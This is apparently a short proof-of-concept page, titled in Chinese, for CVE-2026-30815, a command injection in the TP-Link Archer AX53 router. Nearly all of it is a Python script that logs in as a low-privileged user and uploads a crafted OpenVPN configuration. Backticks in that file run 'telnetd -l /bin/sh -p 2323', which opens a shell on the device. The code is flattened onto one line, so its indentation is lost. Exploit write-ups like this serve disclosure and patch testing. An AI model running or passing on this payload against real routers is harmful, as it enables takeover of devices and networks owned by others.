CVE-2026-30815 TP-Link Archer AX53 OpenVPN命令注入漏洞

# Proof of Concept for CVE-2026-30815 # This script demonstrates the OS Command Injection via OpenVPN config upload. import requests # Target URL (Example endpoint structure) target_url = "http://192.168.0.1/cgi-bin/luci/;stok=<token>/admin/vpn/openvpn" # Attacker credentials (Authenticated Low Privileged User) username = "user" password = "user_password" # Login to get session token session = requests.Session() login_payload = {"luci_username": username, "luci_password": password} login_resp = session.post("http://192.168.0.1/cgi-bin/luci", data=login_payload) if login_resp.status_code == 200: print("[+] Login successful") # Malicious OpenVPN configuration file content # The payload injects a command to start a telnet server on port 2323 # This exploits the insufficient input validation in the config parser malicious_config = """ client dev tun proto tcp remote 127.0.0.1 1194 resolv-retry infinite nobind persist-key persist-tun ca ca.crt cert client.crt key client.key # Injection Payload: Using backticks to execute shell command ; `telnetd -l /bin/sh -p 2323` """ files = { 'file_upload': ('exploit.ovpn', malicious_config, 'application/octet-stream') } # Uploading the malicious configuration upload_resp = session.post(target_url, files=files) if upload_resp.status_code == 200: print("[+] Payload uploaded. Check if telnet is running on port 2323.") else: print("[-] Upload failed.") else: print("[-] Login failed.")